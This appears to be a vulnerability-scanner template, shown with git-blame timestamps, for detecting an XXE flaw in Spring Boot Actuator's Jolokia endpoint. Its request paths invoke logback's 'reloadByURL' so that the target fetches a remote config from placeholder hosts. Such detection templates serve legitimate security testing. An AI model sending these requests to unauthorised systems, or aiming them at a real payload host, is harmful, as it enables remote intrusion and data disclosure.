2020-07-02 16:15:33 +00:00
id : springboot-actuators-jolokia-xxe
info :
name : Spring Boot Actuators (Jolokia) XXE
2021-05-31 14:35:39 +00:00
author : dwisiswant0 & ipanda
2020-07-02 16:15:33 +00:00
severity : high
2021-05-04 12:14:40 +00:00
description : A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to preform an XML External Entities attack, include content stored on a remote server as if it was its own - this has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
2021-05-04 12:15:10 +00:00
reference : |
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
- https://github.com/mpgn/Spring-Boot-Actuator-Exploit
2021-02-12 05:53:01 +00:00
tags : springboot,jolokia,xxe
2020-07-02 16:15:33 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
2021-05-31 14:35:39 +00:00
- "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"
2020-07-02 16:15:33 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "http:\\/\\/nonexistent:31337\\/logback.xml"
- "reloadByURL"
- "JoranException"
condition : and
part : body
- type : word
words :
- "X-Application-Context"
part : header